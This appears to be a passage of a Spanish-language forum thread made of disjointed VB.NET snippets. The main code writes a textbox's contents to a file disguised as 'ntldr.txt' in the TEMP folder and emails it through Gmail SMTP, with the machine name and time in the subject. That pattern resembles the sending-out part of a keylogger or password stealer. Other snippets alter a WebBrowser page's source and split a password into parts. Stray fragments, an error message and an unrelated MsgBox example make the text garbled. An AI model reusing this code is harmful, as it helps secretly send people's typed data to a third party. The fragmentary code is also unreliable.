Dim s As IO.StreamReader
Dim strcodigo As String
s = New IO.StreamReader(WebBrowser1.DocumentStream)
strcodigo = s.ReadToEnd()
If InStr(strcodigo, "areemplazar") <> 0 Then
strcodigo = strcodigo.Replace("areemplazar", "")
Dim MyStream As New MemoryStream(Encoding.ASCII.GetBytes(strcodigo))
WebBrowser1.DocumentStream = MyStream
End If
 

Dim y as string = "partedelapass"

f & g & y

Try
'Crear archivo
Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
sw.WriteLine(TextBox1.Text)
sw.Flush()
sw.Close()
'Email
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("lala@gmail.com")
MyMailMessage.To.Add("lala@gmail.com")
MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
MyMailMessage.Body = "Abre el archivo adjunto."
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MyMailMessage = Nothing
SMTPServer = Nothing
Catch ex As SmtpException
End Try
 

MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))

MyMailMessage = nothing

MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
MyEscritor.Write(TextBox1.Text)
MyEscritor.Flush()
MyEscritor.Close()
MyEscritor = Nothing

IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.

Private function hi() ' Creas la funcion
Msgbox("HI")
End function
 
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
hi() ' Llamas la funcion
End Sub